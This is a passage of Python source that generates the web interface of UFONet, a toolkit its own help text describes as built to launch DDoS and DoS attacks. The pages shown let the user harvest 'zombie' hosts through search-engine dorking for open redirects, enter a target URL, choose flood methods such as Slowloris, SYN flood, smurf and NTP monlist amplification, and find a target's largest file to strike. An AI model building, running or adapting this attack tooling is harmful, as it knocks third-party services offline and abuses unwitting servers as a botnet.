  1947. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1948. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1949. <center>
  1950. <table cellpadding="38" cellspacing="38">
  1951. <tr>
  1952. <td>
  1953. <div class="ringMenu">
  1954. <ul>
  1955. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1956. <li class="top"><a href="botnet">Botnet</a></li>
  1957. <li class="right"><a href="inspect">Inspect</a></li>
  1958. <li class="bottom"><a href="attack">Attack</a></li>
  1959. <li class="left"><a href="help">Help</a></li>
  1960. </ul>
  1961. </div>
  1962. </td>
  1963. <td>
  1964. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1965. <tr>
  1966. <td>
  1967. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
  1968. ----------------------------------
  1969. """ + self.options.version + """
  1970. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1971. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1972. -----------------------------------
  1973. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1974. - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</a></b>
  1975. """+str(self.current_tasks)+"""</td>
  1976. <td>
  1977. <table>
  1978. <tr>
  1979. <td><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"></td>
  1980. <td><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"></td>
  1981. </tr>
  1982. <tr>
  1983. <td><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="Stats()"></td>
  1984. <td><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"></td>
  1985. </tr>
  1986. </table>
  1987. </td>
  1988. </tr>
  1989. </table>
  1990. </td>
  1991. </tr>
  1992. </table>
  1993. <div id="cmdOut"></div>
  1994. """ + self.pages["/footer"]
  1995. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1996. function Requests() {
  1997. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1998. }
  1999. function Maps() {
  2000. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  2001. win_map.resizeTo(screen.width,screen.height);
  2002. }
  2003. function Start(){
  2004. dork=document.getElementById("dork").value
  2005. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  2006. if (document.getElementById("autosearch").checked){
  2007. document.getElementById("autosearch").value = "on";
  2008. } else {
  2009. document.getElementById("autosearch").value = "off";
  2010. }
  2011. autosearch = document.getElementById("autosearch").value
  2012. if (document.getElementById("dork_list").checked){
  2013. document.getElementById("dork_list").value = "on";
  2014. } else {
  2015. document.getElementById("dork_list").value = "off";
  2016. }
  2017. dork_list = document.getElementById("dork_list").value
  2018. if(dork == "" && dork_list == "off" && autosearch == "off") {
  2019. window.alert("You need to enter a source for dorking...");
  2020. return
  2021. }else{
  2022. if (document.getElementById("all_engines").checked){
  2023. document.getElementById("all_engines").value = "on";
  2024. exclude_engines=document.getElementById("exclude_engines").value
  2025. } else {
  2026. document.getElementById("all_engines").value = "off";
  2027. }
  2028. all_engines = document.getElementById("all_engines").value
  2029. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  2030. runCommandX("cmd_search",params)
  2031. }
  2032. }
  2033. function showHide()
  2034. {
  2035. if(document.getElementById("dork_list").checked)
  2036. {
  2037. document.getElementById("dork_pattern").style.display = "none";
  2038. document.getElementById("autosearch_pattern").style.display = "none";
  2039. }
  2040. else {
  2041. document.getElementById("dork_pattern").style.display = "";
  2042. document.getElementById("autosearch_pattern").style.display = "";
  2043. }
  2044. }
  2045. function showHideEngines()
  2046. {
  2047. if(document.getElementById("all_engines").checked)
  2048. {
  2049. document.getElementById("s_engine").style.display = "none";
  2050. document.getElementById("sex_engine").style.display = "";
  2051. }
  2052. else {
  2053. document.getElementById("s_engine").style.display = "";
  2054. document.getElementById("sex_engine").style.display = "none";
  2055. }
  2056. }
  2057. function HideAll()
  2058. {
  2059. if(document.getElementById("autosearch").checked)
  2060. {
  2061. document.getElementById("s_engine").style.display = "none";
  2062. document.getElementById("dork_pattern").style.display = "none";
  2063. document.getElementById("list_pattern").style.display = "none";
  2064. document.getElementById("allengines_pattern").style.display = "none";
  2065. document.getElementById("all_engines").checked = false;
  2066. document.getElementById("dork_list").checked = false;
  2067. document.getElementById("dork").value = "";
  2068. }
  2069. else {
  2070. document.getElementById("s_engine").style.display = "";
  2071. document.getElementById("dork_pattern").style.display = "";
  2072. document.getElementById("list_pattern").style.display = "";
  2073. document.getElementById("allengines_pattern").style.display = "";
  2074. }
  2075. }
  2076. </script>
  2077. <script>function Blackholes() {
  2078. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2079. }
  2080. </script>
  2081. </head>
  2082. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2083. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2084. <center>
  2085. <table cellpadding="38" cellspacing="38">
  2086. <tr>
  2087. <td>
  2088. <div class="ringMenu">
  2089. <ul>
  2090. <li class="main"><a href="botnet">Botnet</a></li>
  2091. <li class="top"><a href="help">Help</a></li>
  2092. <li class="right"><a href="inspect">Inspect</a></li>
  2093. <li class="bottom"><a href="attack">Attack</a></li>
  2094. <li class="left"><a href="gui">RETURN</a></li>
  2095. </ul>
  2096. </div>
  2097. </td>
  2098. <td>
  2099. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2100. <tr><td>
  2101. <pre>
  2102. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  2103. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  2104. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  2105. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  2106. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  2107. * Search using this search engine: <select id="engines_list">
  2108. <option value="duck" selected>duck</option>
  2109. <option value="bing">bing</option>
  2110. <option value="yahoo">yahoo</option>
  2111. <!-- <option value="google">google (no TOR!)</option>-->
  2112. <!-- <option value="yandex">yandex</option>-->
  2113. </select></div><div id="allengines_pattern" style="display:block;">
  2114. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  2115. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  2116. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  2117. <br><hr>
  2118. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  2119. <td>
  2120. <table cellpadding="5" cellspacing="2">
  2121. <tr>
  2122. <td><img src='data:image/png;base64,"""+self.alien3_img+"""' onclick="Blackholes()"></td>
  2123. </tr>
  2124. <tr>
  2125. <table><tr>
  2126. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  2127. </tr>
  2128. <tr><td><hr></td></tr>
  2129. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  2130. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  2131. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  2132. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  2133. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  2134. </table>
  2135. </table>
  2136. </td>
  2137. </tr></table>
  2138. </td>
  2139. </tr></table>
  2140. <hr>
  2141. <div id="cmdOut"></div>
  2142. """ + self.pages["/footer"]
  2143. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  2144. function Requests() {
  2145. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2146. }
  2147. function Grid() {
  2148. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2149. }
  2150. function Wargames() {
  2151. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2152. }
  2153. function ShowPanel() {
  2154. if (document.getElementById("extra_attack").checked){
  2155. document.getElementById("extra_panel").style.display = "block";
  2156. document.getElementById("loic").value = "";
  2157. document.getElementById("loris").value = "";
  2158. document.getElementById("ufosyn").value = "";
  2159. document.getElementById("spray").value = "";
  2160. document.getElementById("smurf").value = "";
  2161. document.getElementById("xmas").value = "";
  2162. document.getElementById("nuke").value = "";
  2163. document.getElementById("tachyon").value = "";
  2164. document.getElementById("monlist").value = "";
  2165. document.getElementById("dbstress").value = "";
  2166. } else {
  2167. document.getElementById("extra_panel").style.display = "none";
  2168. document.getElementById("loic").value = "";
  2169. document.getElementById("loris").value = "";
  2170. document.getElementById("ufosyn").value = "";
  2171. document.getElementById("spray").value = "";
  2172. document.getElementById("smurf").value = "";
  2173. document.getElementById("xmas").value = "";
  2174. document.getElementById("nuke").value = "";
  2175. document.getElementById("tachyon").value = "";
  2176. document.getElementById("monlist").value = "";
  2177. document.getElementById("dbstress").value = "";
  2178. }
  2179. }
  2180. function Maps() {
  2181. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  2182. win_map.resizeTo(screen.width,screen.height);
  2183. }
  2184. function Start(){
  2185. document.getElementById("attack_button").text = "STOP!"
  2186. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  2187. target=document.getElementById("target").value
  2188. String.prototype.startsWith = function(prefix){
  2189. return this.indexOf(prefix) === 0;
  2190. }
  2191. if(target.startsWith("http")){
  2192. path=document.getElementById("path").value
  2193. rounds=document.getElementById("rounds").value
  2194. dbstress=document.getElementById("dbstress").value
  2195. loic=document.getElementById("loic").value
  2196. loris=document.getElementById("loris").value
  2197. ufosyn=document.getElementById("ufosyn").value
  2198. spray=document.getElementById("spray").value
  2199. smurf=document.getElementById("smurf").value
  2200. xmas=document.getElementById("xmas").value
  2201. nuke=document.getElementById("nuke").value
  2202. tachyon=document.getElementById("tachyon").value
  2203. monlist=document.getElementById("monlist").value
  2204. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist){ // root required!
  2205. window.alert("You need 'root' access!. Check shell and enter your password.");
  2206. }
  2207. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)
  2208. if (document.getElementById("visual_attack").checked){
  2209. document.getElementById("visual_attack").value = "on";
  2210. } else {
  2211. document.getElementById("visual_attack").value = "off";
  2212. }
  2213. if(document.getElementById("visual_attack").value=="on"){
  2214. Maps()
  2215. }
  2216. }else{
  2217. window.alert("You need to enter a valid url: http(s)://target.com");
  2218. return
  2219. }
  2220. runCommandX("cmd_attack",params)
  2221. }
  2222. </script>
  2223. </head>
  2224. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2225. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2226. <center>
  2227. <table cellpadding="38" cellspacing="38">
  2228. <tr>
  2229. <td>
  2230. <div class="ringMenu">
  2231. <ul>
  2232. <li class="main"><a href="attack">Attack</a></li>
  2233. <li class="top"><a href="help">Help</a></li>
  2234. <li class="right"><a href="botnet">Botnet</a></li>
  2235. <li class="bottom"><a href="inspect">Inspect</a></li>
  2236. <li class="left"><a href="gui">RETURN</a></li>
  2237. </ul>
  2238. </div>
  2239. </td>
  2240. <td>
  2241. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2242. <tr><td>
  2243. <pre>
  2244. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2245. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  2246. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  2247. <hr>
  2248. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  2249. <hr><div id="extra_panel" style="display:none;">
  2250. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  2251. <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  2252. <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  2253. <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  2254. <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  2255. <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  2256. <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr><tr>
  2257. <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td>
  2258. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="1000"></td>
  2259. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="1001"></td></tr>
  2260. </table>
  2261. <hr>
  2262. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  2263. <hr></div>
  2264. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  2265. </td><td>
  2266. <table><tr><td><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"></td></tr><tr><td><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"></td></tr></table>
  2267. </td></tr></table>
  2268. </td></tr></table>
  2269. <hr>
  2270. <div id="cmdOut"></div>
  2271. """ + self.pages["/footer"]
  2272. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  2273. function show(one) {
  2274. var nb = document.getElementsByTagName("div");
  2275. for(var x=0; x<nb.length; x++) {
  2276. name = nb[x].getAttribute("class");
  2277. if (name == 'nb') {
  2278. if (nb[x].id == one) {
  2279. nb[x].style.display = 'block';
  2280. }
  2281. else {
  2282. nb[x].style.display = 'none';
  2283. }
  2284. }
  2285. }
  2286. }
  2287. </script>
  2288. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  2289. </head>
  2290. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2291. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2292. <center>
  2293. <table cellpadding="38" cellspacing="38">
  2294. <tr>
  2295. <td>
  2296. <div class="ringMenu">
  2297. <ul>
  2298. <li class="main"><a href="help">Help</a></li>
  2299. <li class="top"><a href="botnet">Botnet</a></li>
  2300. <li class="right"><a href="inspect">Inspect</a></li>
  2301. <li class="bottom"><a href="attack">Attack</a></li>
  2302. <li class="left"><a href="gui">RETURN</a></li>
  2303. </ul>
  2304. </div>
  2305. </td>
  2306. <td>
  2307. <table cellpadding="24" cellspacing="25" border="1">
  2308. <tr><td><pre>
  2309. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  2310. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  2311. and that allows to combine both in a single offensive.
  2312. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  2313. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  2314. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  2315. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  2316. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  2317. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  2318. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  2319. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  2320. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  2321. </div><div>
  2322. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  2323. If you have problems with UFONet, try to solve them following next links:
  2324. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  2325. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  2326. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  2327. - Coding; you can try to develop more features
  2328. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  2329. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  2330. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  2331. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  2332. </div></td> </tr></table> </td></tr></table>
  2333. """ + self.pages["/footer"]
  2334. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  2335. function Requests() {
  2336. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2337. }
  2338. function Abduction() {
  2339. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2340. }
  2341. function Start(){
  2342. target=document.getElementById("target").value
  2343. String.prototype.startsWith = function(prefix){
  2344. return this.indexOf(prefix) === 0;
  2345. }
  2346. if(target.startsWith("http")){
  2347. params="target="+escape(target)
  2348. }else{
  2349. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2350. return
  2351. }
  2352. runCommandX("cmd_inspect",params)
  2353. }
  2354. </script>
  2355. </head>
  2356. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2357. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2358. <center>
  2359. <table cellpadding="38" cellspacing="38">
  2360. <tr>
  2361. <td>
  2362. <div class="ringMenu">
  2363. <ul>
  2364. <li class="main"><a href="inspect">Inspect</a></li>
  2365. <li class="top"><a href="help">Help</a></li>
  2366. <li class="right"><a href="botnet">Botnet</a></li>
  2367. <li class="bottom"><a href="attack">Attack</a></li>
  2368. <li class="left"><a href="gui">RETURN</a></li>
  2369. </ul>
  2370. </div>
  2371. </td>
  2372. <td>
  2373. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2374. <tr>
  2375. <td>
  2376. <pre>
  2377. This feature will provide you the biggest file on target.
  2378. You can use this before to attack to be more effective.
  2379. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2380. <hr>
  2381. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2382. <hr>
  2383. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2384. </td><td><img src='data:image/png;base64,"""+self.alien7_img+"""' onclick="Abduction()"></td>
  2385. </tr></table>
  2386. </td>
  2387. </tr>
  2388. </table>
  2389. <hr>
  2390. <div id="cmdOut"></div>
  2391. """ + self.pages["/footer"]
  2392. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  2393. function Grid() {
  2394. var win_requests = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2395. }
  2396. function Stats() {
  2397. var win_requests = window.open("stats","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2398. }
  2399. function Sync_ranking(){
  2400. ranking_source=document.getElementById("ranking_source").value
  2401. if(ranking_source == "") {
  2402. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2403. return
  2404. }else{
  2405. params="ranking_source="+escape(ranking_source)
  2406. runCommandX("cmd_refresh_ranking",params)
  2407. document.getElementById("nb1").style.display = "none";
  2408. document.getElementById("nb1").style.display = "block";
  2409. setTimeout("location.reload()", 10000)
  2410. }
  2411. }
  2412. </script></head>
  2413. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2414. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2415. <center>
  2416. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2417. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  2418. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button></td>
  2419. </tr></table>
  2420. <table cellpadding="5" cellspacing="10">
  2421. <tr>
  2422. <td align="center">
  2423. Your ranking is: <b>""" + str(self.ranking) + """</b>
  2424. </td>
  2425. </tr>
  2426. <tr>
  2427. <td>
  2428. <table border="1" cellpadding="10" cellspacing="10">
  2429. <tr>
  2430. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  2431. <tr>
  2432. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  2433. <tr>
  2434. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  2435. <tr>
  2436. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  2437. <tr>
  2438. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  2439. <tr>
  2440. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  2441. <tr>
  2442. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  2443. </table>
  2444. </td>
  2445. </tr></table>
  2446. <br>
  2447. <table cellpadding="5" cellspacing="10">
  2448. <tr>
  2449. <td>Blackhole/IP:</td>
  2450. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  2451. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  2452. </tr></table>
  2453. <br>
  2454. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  2455. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  2456. <div id="cmdOut"></div>
  2457. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  2458. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  2459. <td>
  2460. </td><td>
  2461. <table border="1" cellpadding="5" cellspacing="10">
  2462. <tr>
